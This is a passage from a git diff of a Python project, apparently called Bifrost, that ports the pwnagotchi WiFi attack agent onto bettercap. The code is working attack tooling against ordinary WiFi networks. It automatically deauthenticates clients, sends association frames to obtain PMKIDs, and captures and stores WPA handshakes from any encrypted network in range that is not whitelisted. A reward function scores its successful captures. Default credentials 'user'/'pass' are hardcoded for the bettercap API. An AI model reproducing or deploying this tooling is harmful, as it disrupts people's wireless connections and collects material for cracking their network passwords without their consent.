stderr=subprocess.DEVNULL, + ) + logger.info("bettercap PID: %d", self._bettercap_proc.pid) + except FileNotFoundError: + logger.error("bettercap not found! Install with: apt install bettercap") + raise + except Exception as e: + logger.error("Failed to start bettercap: %s", e) + raise + + def _stop_bettercap(self): + """Kill the bettercap subprocess.""" + if self._bettercap_proc: + try: + self._bettercap_proc.terminate() + self._bettercap_proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self._bettercap_proc.kill() + except Exception: + pass + self._bettercap_proc = None + logger.info("bettercap stopped") + + # ── Status for web API ──────────────────────────────── + + def get_status(self): + """Return full engine status for web API.""" + base = { + 'enabled': self.enabled, + 'running': self._running, + 'monitor_failed': self._monitor_failed, + } + if self.agent and self._running: + base.update(self.agent.get_status()) + else: + base.update({ + 'mood': 'sleeping', + 'face': '(-.-) zzZ', + 'voice': '', + 'channel': 0, + 'num_aps': 0, + 'num_handshakes': 0, + 'uptime': 0, + 'epoch': 0, + 'mode': 'auto', + 'last_pwnd': '', + 'reward': 0, + }) + return base diff --git a/bifrost/agent.py b/bifrost/agent.py new file mode 100644 index 0000000..0adbb33 --- /dev/null +++ b/bifrost/agent.py @@ -0,0 +1,568 @@ +""" +Bifrost — WiFi recon agent. +Ported from pwnagotchi/agent.py using composition instead of inheritance. +""" +import time +import json +import os +import re +import asyncio +import threading +import logging + +from bifrost.bettercap import BettercapClient +from bifrost.automata import BifrostAutomata +from bifrost.epoch import BifrostEpoch +from bifrost.voice import BifrostVoice +from bifrost import plugins + +from logger import Logger + +logger = Logger(name="bifrost.agent", level=logging.DEBUG) + + +class BifrostAgent: + """WiFi recon agent — drives bettercap, captures handshakes, tracks epochs.""" + + def __init__(self, shared_data, stop_event=None): + self.shared_data = shared_data + self._config = shared_data.config + self.db = shared_data.db + self._stop_event = stop_event or threading.Event() + + # Sub-systems + cfg = self._config + self.bettercap = BettercapClient( + hostname=cfg.get('bifrost_bettercap_host', '127.0.0.1'), + scheme='http', + port=int(cfg.get('bifrost_bettercap_port', 8081)), + username=cfg.get('bifrost_bettercap_user', 'user'), + password=cfg.get('bifrost_bettercap_pass', 'pass'), + ) + self.automata = BifrostAutomata(cfg) + self.epoch = BifrostEpoch(cfg) + self.voice = BifrostVoice() + + self._started_at = time.time() + self._filter = None + flt = cfg.get('bifrost_filter', '') + if flt: + try: + self._filter = re.compile(flt) + except re.error: + logger.warning("Invalid bifrost_filter regex: %s", flt) + + self._current_channel = 0 + self._tot_aps = 0 + self._aps_on_channel = 0 + self._supported_channels = list(range(1, 15)) + + self._access_points = [] + self._last_pwnd = None + self._history = {} + self._handshakes = {} + self.mode = 'auto' + + # Whitelist + self._whitelist = [ + w.strip().lower() for w in + str(cfg.get('bifrost_whitelist', '')).split(',') if w.strip() + ] + # Channels + self._channels = [ + int(c.strip()) for c in + str(cfg.get('bifrost_channels', '')).split(',') if c.strip() + ] + + # Ensure handshakes dir + hs_dir = cfg.get('bifrost_bettercap_handshakes', '/root/bifrost/handshakes') + if hs_dir and not os.path.exists(hs_dir): + try: + os.makedirs(hs_dir, exist_ok=True) + except OSError: + pass + + # ── Lifecycle ───────────────────────────────────────── + + def start(self): + """Initialize bettercap, start monitor mode, begin event polling.""" + self._wait_bettercap() + self.setup_events() + self.automata.set_starting() + self._log_activity('system', 'Bifrost starting', self.voice.on_starting()) + self.start_monitor_mode() + self.start_event_polling() + self.start_session_fetcher() + self.next_epoch() + self.automata.set_ready() + self._log_activity('system', 'Bifrost ready', self.voice.on_ready()) + + def setup_events(self): + """Silence noisy bettercap events.""" + logger.info("connecting to %s ...", self.bettercap.url) + silence = [ + 'ble.device.new', 'ble.device.lost', 'ble.device.disconnected', + 'ble.device.connected', 'ble.device.service.discovered', + 'ble.device.characteristic.discovered', + 'mod.started', 'mod.stopped', 'update.available', + 'session.closing', 'session.started', + ] + for tag in silence: + try: + self.bettercap.run('events.ignore %s' % tag, verbose_errors=False) + except Exception: + pass + + def _reset_wifi_settings(self): + iface = self._config.get('bifrost_iface', 'wlan0mon') + self.bettercap.run('set wifi.interface %s' % iface) + self.bettercap.run('set wifi.ap.ttl %d' % self._config.get('bifrost_personality_ap_ttl', 120)) + self.bettercap.run('set wifi.sta.ttl %d' % self._config.get('bifrost_personality_sta_ttl', 300)) + self.bettercap.run('set wifi.rssi.min %d' % self._config.get('bifrost_personality_min_rssi', -200)) + hs_dir = self._config.get('bifrost_bettercap_handshakes', '/root/bifrost/handshakes') + self.bettercap.run('set wifi.handshakes.file %s' % hs_dir) + self.bettercap.run('set wifi.handshakes.aggregate false') + + def start_monitor_mode(self): + """Wait for monitor interface and start wifi.recon.""" + iface = self._config.get('bifrost_iface', 'wlan0mon') + has_mon = False + retries = 0 + + while not has_mon and retries < 30 and not self._stop_event.is_set(): + try: + s = self.bettercap.session() + for i in s.get('interfaces', []): + if i['name'] == iface: + logger.info("found monitor interface: %s", i['name']) + has_mon = True + break + except Exception: + pass + + if not has_mon: + logger.info("waiting for monitor interface %s ... (%d)", iface, retries) + self._stop_event.wait(2) + retries += 1 + + if not has_mon: + logger.warning("monitor interface %s not found after %d retries", iface, retries) + + # Detect supported channels + try: + from bifrost.compat import _build_utils_shim + self._supported_channels = _build_utils_shim(self.shared_data).iface_channels(iface) + except Exception: + self._supported_channels = list(range(1, 15)) + + logger.info("supported channels: %s", self._supported_channels) + self._reset_wifi_settings() + + # Start wifi recon + try: + wifi_running = self._is_module_running('wifi') + if wifi_running: + self.bettercap.run('wifi.recon off; wifi.recon on') + self.bettercap.run('wifi.clear') + else: + self.bettercap.run('wifi.recon on') + except Exception as e: + err_msg = str(e) + if 'Operation not supported' in err_msg or 'EOPNOTSUPP' in err_msg: + logger.error( + "wifi.recon failed: %s — Your WiFi chip likely does NOT support " + "monitor mode. The built-in Broadcom chip on Raspberry Pi Zero/Zero 2 " + "has limited monitor mode support. Use an external USB WiFi adapter " + "(e.g. Alfa AWUS036ACH, Panda PAU09) that supports monitor mode and " + "packet injection.", e) + self._log_activity('error', + 'WiFi chip does not support monitor mode', + 'Use an external USB WiFi adapter with monitor mode support') + else: + logger.error("Error starting wifi.recon: %s", e) + + def _wait_bettercap(self): + retries = 0 + while retries < 30 and not self._stop_event.is_set(): + try: + self.bettercap.session() + return + except Exception: + logger.info("waiting for bettercap API ...") + self._stop_event.wait(2) + retries += 1 + if not self._stop_event.is_set(): + raise Exception("bettercap API not available after 60s") + + def _is_module_running(self, module): + try: + s = self.bettercap.session() + for m in s.get('modules', []): + if m['name'] == module: + return m['running'] + except Exception: + pass + return False + + # ── Recon cycle ─────────────────────────────────────── + + def recon(self): + """Full-spectrum WiFi scan for recon_time seconds.""" + recon_time = self._config.get('bifrost_personality_recon_time', 30) + max_inactive = 3 + recon_mul = 2 + + if self.epoch.inactive_for >= max_inactive: + recon_time *= recon_mul + + self._current_channel = 0 + + if not self._channels: + logger.debug("RECON %ds (all channels)", recon_time) + try: + self.bettercap.run('wifi.recon.channel clear') + except Exception: + pass + else: + ch_str = ','.join(map(str, self._channels)) + logger.debug("RECON %ds on channels %s", recon_time, ch_str) + try: + self.bettercap.run('wifi.recon.channel %s' % ch_str) + except Exception as e: + logger.error("Error setting recon channels: %s", e) + + self.automata.wait_for(recon_time, self.epoch, sleeping=False, + stop_event=self._stop_event) + + def _filter_included(self, ap): + if self._filter is None: + return True + return (self._filter.match(ap.get('hostname', '')) is not None or + self._filter.match(ap.get('mac', '')) is not None) + + def get_access_points(self): + """Fetch APs from bettercap, filter whitelist and open networks.""" + aps = [] + try: + s = self.bettercap.session() + plugins.on("unfiltered_ap_list", s.get('wifi', {}).get('aps', [])) + for ap in s.get('wifi', {}).get('aps', []): + enc = ap.get('encryption', '') + if enc == '' or enc == 'OPEN': + continue + hostname = ap.get('hostname', '').lower() + mac = ap.get('mac', '').lower() + prefix = mac[:8] + if (hostname not in self._whitelist and + mac not in self._whitelist and + prefix not in self._whitelist): + if self._filter_included(ap): + aps.append(ap) + except Exception as e: + logger.error("Error getting APs: %s", e) + + aps.sort(key=lambda a: a.get('channel', 0)) + self._access_points = aps + plugins.on('wifi_update', aps) + self.epoch.observe(aps, list(self.automata.peers.values())) + + # Update DB with discovered networks + self._persist_networks(aps) + return aps + + def get_access_points_by_channel(self): + """Get APs grouped by channel, sorted by density.""" + aps = self.get_access_points() + grouped = {} + for ap in aps: + ch = ap.get('channel', 0) + if self._channels and ch not in self._channels: + continue + grouped.setdefault(ch, []).append(ap) + return sorted(grouped.items(), key=lambda kv: len(kv[1]), reverse=True) + + # ── Actions ─────────────────────────────────────────── + + def _should_interact(self, who): + if self._has_handshake(who): + return False + if who not in self._history: + self._history[who] = 1 + return True + self._history[who] += 1 + max_int = self._config.get('bifrost_personality_max_interactions', 3) + return self._history[who] < max_int + + def _has_handshake(self, bssid): + for key in self._handshakes: + if bssid.lower() in key: + return True + return False + + def associate(self, ap, throttle=0): + """Send association frame to trigger PMKID.""" + if self.automata.is_stale(self.epoch): + return + if (self._config.get('bifrost_personality_associate', True) and + self._should_interact(ap.get('mac', ''))): + try: + hostname = ap.get('hostname', ap.get('mac', '?')) + logger.info("ASSOC %s (%s) ch=%d rssi=%d", + hostname, ap.get('mac', ''), ap.get('channel', 0), ap.get('rssi', 0)) + self.bettercap.run('wifi.assoc %s' % ap['mac']) + self.epoch.track(assoc=True) + self._log_activity('assoc', 'Association: %s' % hostname, + self.voice.on_assoc(hostname)) + except Exception as e: + self.automata.on_error(ap.get('mac', ''), e) + plugins.on('association', ap) + if throttle > 0: + time.sleep(throttle) + + def deauth(self, ap, sta, throttle=0): + """Deauthenticate client to capture handshake.""" + if self.automata.is_stale(self.epoch): + return + if (self._config.get('bifrost_personality_deauth', True) and + self._should_interact(sta.get('mac', ''))): + try: + logger.info("DEAUTH %s (%s) from %s ch=%d", + sta.get('mac', ''), sta.get('vendor', ''), + ap.get('hostname', ap.get('mac', '')), ap.get('channel', 0)) + self.bettercap.run('wifi.deauth %s' % sta['mac']) + self.epoch.track(deauth=True) + self._log_activity('deauth', 'Deauth: %s' % sta.get('mac', ''), + self.voice.on_deauth(sta.get('mac', ''))) + except Exception as e: + self.automata.on_error(sta.get('mac', ''), e) + plugins.on('deauthentication', ap, sta) + if throttle > 0: + time.sleep(throttle) + + def set_channel(self, channel, verbose=True): + """Hop to a specific WiFi channel.""" + if self.automata.is_stale(self.epoch): + return + wait = 0 + if self.epoch.did_deauth: + wait = self._config.get('bifrost_personality_hop_recon_time', 10) + elif self.epoch.did_associate: + wait = self._config.get('bifrost_personality_min_recon_time', 5) + + if channel != self._current_channel: + if self._current_channel != 0 and wait > 0: + logger.debug("waiting %ds on channel %d", wait, self._current_channel) + self.automata.wait_for(wait, self.epoch, stop_event=self._stop_event) + try: + self.bettercap.run('wifi.recon.channel %d' % channel) + self._current_channel = channel + self.epoch.track(hop=True) + plugins.on('channel_hop', channel) + except Exception as e: + logger.error("Error setting channel: %s", e) + + def next_epoch(self): + """Transition to next epoch — evaluate mood.""" + self.automata.next_epoch(self.epoch) + # Persist epoch to DB + data = self.epoch.data() + self._persist_epoch(data) + self._log_activity('epoch', 'Epoch %d' % (self.epoch.epoch - 1), + self.voice.on_epoch(self.epoch.epoch - 1)) + + # ── Event polling ───────────────────────────────────── + + def start_event_polling(self): + """Start event listener in background thread. + + Tries websocket first; falls back to REST polling if the + ``websockets`` package is not installed. + """ + t = threading.Thread(target=self._event_poller, daemon=True, name="BifrostEvents") + t.start() + + def _event_poller(self): + try: + self.bettercap.run('events.clear') + except Exception: + pass + + # Probe once whether websockets is available + try: + import websockets # noqa: F401 + has_ws = True + except ImportError: + has_ws = False + logger.warning("websockets package not installed — using REST event polling " + "(pip install websockets for real-time events)") + + if has_ws: + self._ws_event_loop() + else: + self._rest_event_loop() + + def _ws_event_loop(self): + """Websocket-based event listener (preferred).""" + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + while not self._stop_event.is_set(): + try: + loop.run_until_complete(self.bettercap.start_websocket( + self._on_event, self._stop_event)) + except Exception as ex: + if self._stop_event.is_set(): + break + logger.debug("Event poller error: %s", ex) + self._stop_event.wait(5) + loop.close() + + def _rest_event_loop(self): + """REST-based fallback event poller — polls /api/events every 2s.""" + while not self._stop_event.is_set(): + try: + events = self.bettercap.events() + for ev in (events or []): + tag = ev.get('tag', '') + if tag == 'wifi.client.handshake': + # Build a fake websocket message for the existing handler + import asyncio as _aio + _loop = _aio.new_event_loop() + _loop.run_until_complete(self._on_event(json.dumps(ev))) + _loop.close() + except Exception as ex: + logger.debug("REST event poll error: %s", ex) + self._stop_event.wait(2) + + async def _on_event(self, msg): + """Handle bettercap websocket events.""" + try: + jmsg = json.loads(msg) + except json.JSONDecodeError: + return + + if jmsg.get('tag') == 'wifi.client.handshake': + filename = jmsg.get('data', {}).get('file', '') + sta_mac = jmsg.get('data', {}).get('station', '') + ap_mac = jmsg.get('data', {}).get('ap', '') + key = "%s -> %s" % (sta_mac, ap_mac) + + if key not in self._handshakes: + self._handshakes[key] = jmsg + self._last_pwnd = ap_mac + + # Find AP info + ap_name = ap_mac + try: + s = self.bettercap.session() + for ap in s.get('wifi', {}).get('aps', []): + if ap.get('mac') == ap_mac: + if ap.get('hostname') and ap['hostname'] != '': + ap_name = ap['hostname'] + break + except Exception: + pass + + logger.warning("!!! HANDSHAKE: %s -> %s !!!", sta_mac, ap_name) + self.epoch.track(handshake=True) + self._persist_handshake(ap_mac, sta_mac, ap_name, filename) + self._log_activity('handshake', + 'Handshake: %s' % ap_name, + self.voice.on_handshakes(1)) + plugins.on('handshake', filename, ap_mac, sta_mac) + + def start_session_fetcher(self): + """Start background thread that polls bettercap for stats.""" + t = threading.Thread(target=self._fetch_stats, daemon=True, name="BifrostStats") + t.start() + + def _fetch_stats(self): + while not self._stop_event.is_set(): + try: + s = self.bettercap.session() + self._tot_aps = len(s.get('wifi', {}).get('aps', [])) + except Exception: + pass + self._stop_event.wait(2) + + # ── Status for web API ──────────────────────────────── + + def get_status(self): + """Return current agent state for the web API.""" + return { + 'mood': self.automata.mood, + 'face': self.automata.face, + 'voice': self.automata.voice_text, + 'channel': self._current_channel, + 'num_aps': self._tot_aps, + 'num_handshakes': len(self._handshakes), + 'uptime': int(time.time() - self._started_at), + 'epoch': self.epoch.epoch, + 'mode': self.mode, + 'last_pwnd': self._last_pwnd or '', + 'reward': self.epoch.data().get('reward', 0), + } + + # ── DB persistence ──────────────────────────────────── + + def _persist_networks(self, aps): + """Upsert discovered networks to DB.""" + for ap in aps: + try: + self.db.execute( + """INSERT INTO bifrost_networks + (bssid, essid, channel, encryption, rssi, vendor, num_clients, last_seen) + VALUES (?, ?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP) + ON CONFLICT(bssid) DO UPDATE SET + essid=?, channel=?, encryption=?, rssi=?, vendor=?, + num_clients=?, last_seen=CURRENT_TIMESTAMP""", + (ap.get('mac', ''), ap.get('hostname', ''), ap.get('channel', 0), + ap.get('encryption', ''), ap.get('rssi', 0), ap.get('vendor', ''), + len(ap.get('clients', [])), + ap.get('hostname', ''), ap.get('channel', 0), + ap.get('encryption', ''), ap.get('rssi', 0), ap.get('vendor', ''), + len(ap.get('clients', []))) + ) + except Exception as e: + logger.debug("Error persisting network: %s", e) + + def _persist_handshake(self, ap_mac, sta_mac, ap_name, filename): + try: + self.db.execute( + """INSERT OR IGNORE INTO bifrost_handshakes + (ap_mac, sta_mac, ap_essid, filename) + VALUES (?, ?, ?, ?)""", + (ap_mac, sta_mac, ap_name, filename) + ) + except Exception as e: + logger.debug("Error persisting handshake: %s", e) + + def _persist_epoch(self, data): + try: + self.db.execute( + """INSERT INTO bifrost_epochs + (epoch_num, started_at, duration_secs, num_deauths, num_assocs, + num_handshakes, num_hops, num_missed, num_peers, mood, reward, + cpu_load, mem_usage, temperature, meta_json) + VALUES (?, datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""", + (self.epoch.epoch - 1, data.get('duration_secs', 0), + data.get('num_deauths', 0), data.get('num_associations', 0), + data.get('num_handshakes', 0), data.get('num_hops', 0), + data.get('missed_interactions', 0), data.get('num_peers', 0), + self.automata.mood, data.get('reward', 0), + data.get('cpu_load', 0), data.get('mem_usage', 0), + data.get('temperature', 0), '{}') + ) + except Exception as e: + logger.debug("Error persisting epoch: %s", e) + + def _log_activity(self, event_type, title, details=''): + """Log an activity event to the DB.""" + self.automata.voice_text = details or title + try: + self.db.execute( + """INSERT INTO bifrost_activity (event_type, title, details) + VALUES (?, ?, ?)""", + (event_type, title, details) + ) + except Exception as e: + logger.debug("Error logging activity: %s", e) diff --git a/bifrost/automata.py b/bifrost/automata.py new file mode 100644 index 0000000..decd4e1 --- /dev/null +++ b/bifrost/automata.py @@ -0,0 +1,168 @@ +""" +Bifrost — Mood state machine. +Ported from pwnagotchi/automata.py. +""" +import logging + +from bifrost import plugins as plugins +from bifrost.faces import MOOD_FACES + +from logger import Logger + +logger = Logger(name="bifrost.automata", level=logging.DEBUG) + + +class BifrostAutomata: + """Evaluates epoch data and transitions between moods.""" + + def __init__(self, config): + self._config = config + self.mood = 'starting' + self.face = MOOD_FACES.get('starting', '(. .)') + self.voice_text = '' + self._peers = {} # peer_id -> peer_data + + @property + def peers(self): + return self._peers + + def _set_mood(self, mood): + self.mood = mood + self.face = MOOD_FACES.get(mood, '(. .)') + + def set_starting(self): + self._set_mood('starting') + + def set_ready(self): + self._set_mood('ready') + plugins.on('ready') + + def _has_support_network_for(self, factor): + bond_factor = self._config.get('bifrost_personality_bond_factor', 20000) + total_encounters = sum( + p.get('encounters', 0) if isinstance(p, dict) else getattr(p, 'encounters', 0) + for p in self._peers.values() + ) + support_factor = total_encounters / bond_factor + return support_factor >= factor + + def in_good_mood(self): + return self._has_support_network_for(1.0) + + def set_grateful(self): + self._set_mood('grateful') + plugins.on('grateful') + + def set_lonely(self): + if not self._has_support_network_for(1.0): + logger.info("unit is lonely") + self._set_mood('lonely') + plugins.on('lonely') + else: + logger.info("unit is grateful instead of lonely") + self.set_grateful() + + def set_bored(self, inactive_for): + bored_epochs = self._config.get('bifrost_personality_bored_epochs', 15) + factor = inactive_for / bored_epochs if bored_epochs else 1 + if not self._has_support_network_for(factor): + logger.warning("%d epochs with no activity -> bored", inactive_for) + self._set_mood('bored') + plugins.on('bored') + else: + logger.info("unit is grateful instead of bored") + self.set_grateful() + + def set_sad(self, inactive_for): + sad_epochs = self._config.get('bifrost_personality_sad_epochs', 25) + factor = inactive_for / sad_epochs if sad_epochs else 1 + if not self._has_support_network_for(factor): + logger.warning("%d epochs with no activity -> sad", inactive_for) + self._set_mood('sad') + plugins.on('sad') + else: + logger.info("unit is grateful instead of sad") + self.set_grateful() + + def set_angry(self, factor): + if not self._has_support_network_for(factor): + logger.warning("too many misses -> angry (factor=%.1f)", factor) + self._set_mood('angry') + plugins.on('angry') + else: + logger.info("unit is grateful instead of angry") + self.set_grateful() + + def set_excited(self): + logger.warning("lots of activity -> excited") + self._set_mood('excited') + plugins.on('excited') + + def set_rebooting(self): + self._set_mood('broken') + plugins.on('rebooting') + + def next_epoch(self, epoch): + """Evaluate epoch state and transition mood. + + Args: + epoch: BifrostEpoch instance + """ + was_stale = epoch.num_missed > self._config.get('bifrost_personality_max_misses', 8) + did_miss = epoch.num_missed + + # Trigger epoch transition (resets counters, computes reward) + epoch.next() + + max_misses = self._config.get('bifrost_personality_max_misses', 8) + excited_threshold = self._config.get('bifrost_personality_excited_epochs', 10) + + # Mood evaluation (same logic as pwnagotchi automata.py) + if was_stale: + factor = did_miss / max_misses if max_misses else 1 + if factor >= 2.0: + self.set_angry(factor) + else: + logger.warning("agent missed %d interactions -> lonely", did_miss) + self.set_lonely() + elif epoch.sad_for: + sad_epochs = self._config.get('bifrost_personality_sad_epochs', 25) + factor = epoch.inactive_for / sad_epochs if sad_epochs else 1 + if factor >= 2.0: + self.set_angry(factor) + else: + self.set_sad(epoch.inactive_for) + elif epoch.bored_for: + self.set_bored(epoch.inactive_for) + elif epoch.active_for >= excited_threshold: + self.set_excited() + elif epoch.active_for >= 5 and self._has_support_network_for(5.0): + self.set_grateful() + + plugins.on('epoch', epoch.epoch - 1, epoch.data()) + + def on_miss(self, who): + logger.info("it looks like %s is not in range anymore :/", who) + + def on_error(self, who, e): + if 'is an unknown BSSID' in str(e): + self.on_miss(who) + else: + logger.error(str(e)) + + def is_stale(self, epoch): + return epoch.num_missed > self._config.get('bifrost_personality_max_misses', 8) + + def wait_for(self, t, epoch, sleeping=True, stop_event=None): + """Wait and track sleep time. + + If *stop_event* is provided the wait is interruptible so the + engine can shut down quickly even during long recon windows. + """ + plugins.on('sleep' if sleeping else 'wait', t) + epoch.track(sleep=True, inc=t) + import time + if stop_event is not None: + stop_event.wait(t) + else: + time.sleep(t) diff --git a/bifrost/bettercap.py b/bifrost/bettercap.py new file mode 100644 index 0000000..854637c --- /dev/null +++ b/bifrost/bettercap.py @@ -0,0 +1,103 @@ +""" +Bifrost — Bettercap REST API client. +Ported from pwnagotchi/bettercap.py using urllib (no requests dependency). +""" +import json +import logging +import base64 +import urllib.request +import urllib.error + +from logger import Logger + +logger = Logger(name="bifrost.bettercap", level=logging.DEBUG) + + +class BettercapClient: + """Synchronous REST client for the bettercap API.""" + + def __init__(self, hostname='127.0.0.1', scheme='http', port=8081, + username='user', password='pass'): + self.hostname = hostname + self.scheme = scheme + self.port = port + self.username = username + self.password = password + self.url = "%s://%s:%d/api" % (scheme, hostname, port) + self.websocket = "ws://%s:%s@%s:%d/api" % (username, password, hostname, port) + self._auth_header = 'Basic ' + base64.b64encode( + ('%s:%s' % (username, password)).encode() + ).decode() + + def _request(self, method, path, data=None, verbose_errors=True): + """Make an HTTP request to bettercap API.""" + url = "%s%s" % (self.url, path) + body = json.dumps(data).encode() if data else None + req = urllib.request.Request(url, data=body, method=method) + req.add_header('Authorization', self._auth_header) + if body: + req.add_header('Content-Type', 'application/json') + + try: + with urllib.request.urlopen(req, timeout=10) as resp: + raw = resp.read().decode('utf-8') + try: + return json.loads(raw) + except json.JSONDecodeError: + return raw + except urllib.error.HTTPError as e: + err = "error %d: %s" % (e.code, e.read().decode('utf-8', errors='replace').strip()) + if verbose_errors: + logger.info(err) + raise Exception(err) + except urllib.error.URLError as e: + raise Exception("bettercap unreachable: %s" % e.reason) + + def session(self): + """GET /api/session — current bettercap state.""" + return self._request('GET', '/session') + + def run(self, command, verbose_errors=True): + """POST /api/session — execute a bettercap command.""" + return self._request('POST', '/session', {'cmd': command}, + verbose_errors=verbose_errors) + + def events(self): + """GET /api/events — poll recent events (REST fallback).""" + try: + result = self._request('GET', '/events', verbose_errors=False) + # Clear after reading so we don't reprocess + try: + self.run('events.clear', verbose_errors=False) + except Exception: + pass + return result if isinstance(result, list) else [] + except Exception: + return [] + + async def start_websocket(self, consumer, stop_event=None): + """Connect to bettercap websocket event stream. + + Args: + consumer: async callable that receives each message string. + stop_event: optional threading.Event — exit when set. + """ + import websockets + import asyncio + ws_url = "%s/events" % self.websocket + while not (stop_event and stop_event.is_set()): + try: + async with websockets.connect(ws_url, ping_interval=60, + ping_timeout=90) as ws: + async for msg in ws: + if stop_event and stop_event.is_set(): + return + try: + await consumer(msg) + except Exception as ex: + logger.debug("Error parsing event: %s", ex) + except Exception as ex: + if stop_event and stop_event.is_set(): + return + logger.debug("Websocket error: %s — reconnecting...", ex) + await asyncio.sleep(2) diff --git a/bifrost/compat.py b/bifrost/compat.py new file mode 100644 index 0000000..a319997 --- /dev/null +++ b/bifrost/compat.py @@ -0,0 +1,185 @@ +""" +Bifrost — Pwnagotchi compatibility shim. +Registers `pwnagotchi` in sys.modules so existing plugins can +`import pwnagotchi` and get Bifrost-backed implementations. +""" +import sys +import time +import types +import os + + +def install_shim(shared_data, bifrost_plugins_module): + """Install the pwnagotchi namespace shim into sys.modules. + + Call this BEFORE loading any pwnagotchi plugins so their + `import pwnagotchi` resolves to our shim. + """ + _start_time = time.time() + + # Create the fake pwnagotchi module + pwn = types.ModuleType('pwnagotchi') + pwn.__version__ = '2.0.0-bifrost' + pwn.__file__ = __file__ + pwn.config = _build_compat_config(shared_data) + + def _name(): + return shared_data.config.get('bjorn_name', 'bifrost') + + def _set_name(n): + pass # no-op, name comes from Bjorn config + + def _uptime(): + return time.time() - _start_time + + def _cpu_load(): + try: + return os.getloadavg()[0] + except (OSError, AttributeError): + return 0.0 + + def _mem_usage(): + try: + with open('/proc/meminfo', 'r') as f: + lines = f.readlines() + total = int(lines[0].split()[1]) + available = int(lines[2].split()[1]) + return (total - available) / total if total else 0.0 + except Exception: + return 0.0 + + def _temperature(): + try: + with open('/sys/class/thermal/thermal_zone0/temp', 'r') as f: + return int(f.read().strip()) / 1000.0 + except Exception: + return 0.0 + + def _reboot(): + pass # no-op in Bifrost — we don't auto-reboot + + pwn.name = _name + pwn.set_name = _set_name + pwn.uptime = _uptime + pwn.cpu_load = _cpu_load + pwn.mem_usage = _mem_usage + pwn.temperature = _temperature + pwn.reboot = _reboot + + # Register modules + sys.modules['pwnagotchi'] = pwn + sys.modules['pwnagotchi.plugins'] = bifrost_plugins_module + sys.modules['pwnagotchi.utils'] = _build_utils_shim(shared_data) + + +def _build_compat_config(shared_data): + """Translate Bjorn's flat bifrost_* config to pwnagotchi's nested format.""" + cfg = shared_data.config + return { + 'main': { + 'name': cfg.get('bjorn_name', 'bifrost'), + 'iface': cfg.get('bifrost_iface', 'wlan0mon'), + 'mon_start_cmd': '', + 'no_restart': False, + 'filter': cfg.get('bifrost_filter', ''), + 'whitelist': [ + w.strip() for w in + str(cfg.get('bifrost_whitelist', '')).split(',') if w.strip() + ], + 'plugins': cfg.get('bifrost_plugins', {}), + 'custom_plugins': cfg.get('bifrost_plugins_path', ''), + 'mon_max_blind_epochs': 50, + }, + 'personality': { + 'ap_ttl': cfg.get('bifrost_personality_ap_ttl', 120), + 'sta_ttl': cfg.get('bifrost_personality_sta_ttl', 300), + 'min_rssi': cfg.get('bifrost_personality_min_rssi', -200), + 'associate': cfg.get('bifrost_personality_associate', True), + 'deauth': cfg.get('bifrost_personality_deauth', True), + 'recon_time': cfg.get('bifrost_personality_recon_time', 30), + 'hop_recon_time': cfg.get('bifrost_personality_hop_recon_time', 10), + 'min_recon_time': cfg.get('bifrost_personality_min_recon_time', 5), + 'max_inactive_scale': 3, + 'recon_inactive_multiplier': 2, + 'max_interactions': cfg.get('bifrost_personality_max_interactions', 3), + 'max_misses_for_recon': cfg.get('bifrost_personality_max_misses', 8), + 'excited_num_epochs': cfg.get('bifrost_personality_excited_epochs', 10), + 'bored_num_epochs': cfg.get('bifrost_personality_bored_epochs', 15), + 'sad_num_epochs': cfg.get('bifrost_personality_sad_epochs', 25), + 'bond_encounters_factor': cfg.get('bifrost_personality_bond_factor', 20000), + 'channels': [ + int(c.strip()) for c in + str(cfg.get('bifrost_channels', '')).split(',') if c.strip() + ], + }, + 'bettercap': { + 'hostname': cfg.get('bifrost_bettercap_host', '127.0.0.1'), + 'scheme': 'http', + 'port': cfg.get('bifrost_bettercap_port', 8081), + 'username': cfg.get('bifrost_bettercap_user', 'user'), + 'password': cfg.get('bifrost_bettercap_pass', 'pass'), + 'handshakes': cfg.get('bifrost_bettercap_handshakes', '/root/bifrost/handshakes'), + 'silence': [ + 'ble.device.new', 'ble.device.lost', 'ble.device.disconnected', + 'ble.device.connected', 'ble.device.service.discovered', + 'ble.device.characteristic.discovered', + 'mod.started', 'mod.stopped', 'update.available', + 'session.closing', 'session.started', + ], + }, + 'ai': { + 'enabled': cfg.get('bifrost_ai_enabled', False), + 'path': '/root/bifrost/brain.json', + }, + 'ui': { + 'fps': 1.0, + 'web': {'enabled': False}, + 'display': {'enabled': False}, + }, + } + + +def _build_utils_shim(shared_data): + """Minimal pwnagotchi.utils shim.""" + mod = types.ModuleType('pwnagotchi.utils') + + def secs_to_hhmmss(secs): + h = int(secs // 3600) + m = int((secs % 3600) // 60) + s = int(secs % 60) + return "%d:%02d:%02d" % (h, m, s) + + def iface_channels(iface): + """Return available channels for interface.""" + try: + import subprocess + out = subprocess.check_output( + ['iwlist', iface, 'channel'], + stderr=subprocess.DEVNULL, timeout=5 + ).decode() + channels = [] + for line in out.split('\n'): + if 'Channel' in line and 'Current' not in line: + parts = line.strip().split() + for p in parts: + try: + ch = int(p) + if 1 <= ch <= 14: + channels.append(ch) + except ValueError: + continue + return sorted(set(channels)) if channels else list(range(1, 15)) + except Exception: + return list(range(1, 15)) + + def total_unique_handshakes(path): + """Count unique handshake files in directory.""" + import glob as _glob + if not os.path.isdir(path): + return 0 + return len(_glob.glob(os.path.join(path, '*.pcap'))) + + mod.secs_to_hhmmss = secs_to_hhmmss + mod.iface_channels = iface_channels + mod.total_unique_handshakes = total_unique_handshakes + return mod diff --git a/bifrost/epoch.py b/bifrost/epoch.py new file mode 100644 index 0000000..f0e3cba --- /dev/null +++ b/bifrost/epoch.py @@ -0,0 +1,292 @@ +""" +Bifrost — Epoch tracking. +Ported from pwnagotchi/ai/epoch.py + pwnagotchi/ai/reward.py. +""" +import time +import threading +import logging +import os + +from logger import Logger + +logger = Logger(name="bifrost.epoch", level=logging.DEBUG) + +NUM_CHANNELS = 14 # 2.4 GHz channels + + +# ── Reward function (from pwnagotchi/ai/reward.py) ────────────── + +class RewardFunction: + """Reward signal for RL — higher is better.""" + + def __call__(self, epoch_n, state): + eps = 1e-20 + tot_epochs = epoch_n + eps + tot_interactions = max( + state['num_deauths'] + state['num_associations'], + state['num_handshakes'] + ) + eps + tot_channels = NUM_CHANNELS + + # Positive signals + h = state['num_handshakes'] / tot_interactions + a = 0.2 * (state['active_for_epochs'] / tot_epochs) + c = 0.1 * (state['num_hops'] / tot_channels) + 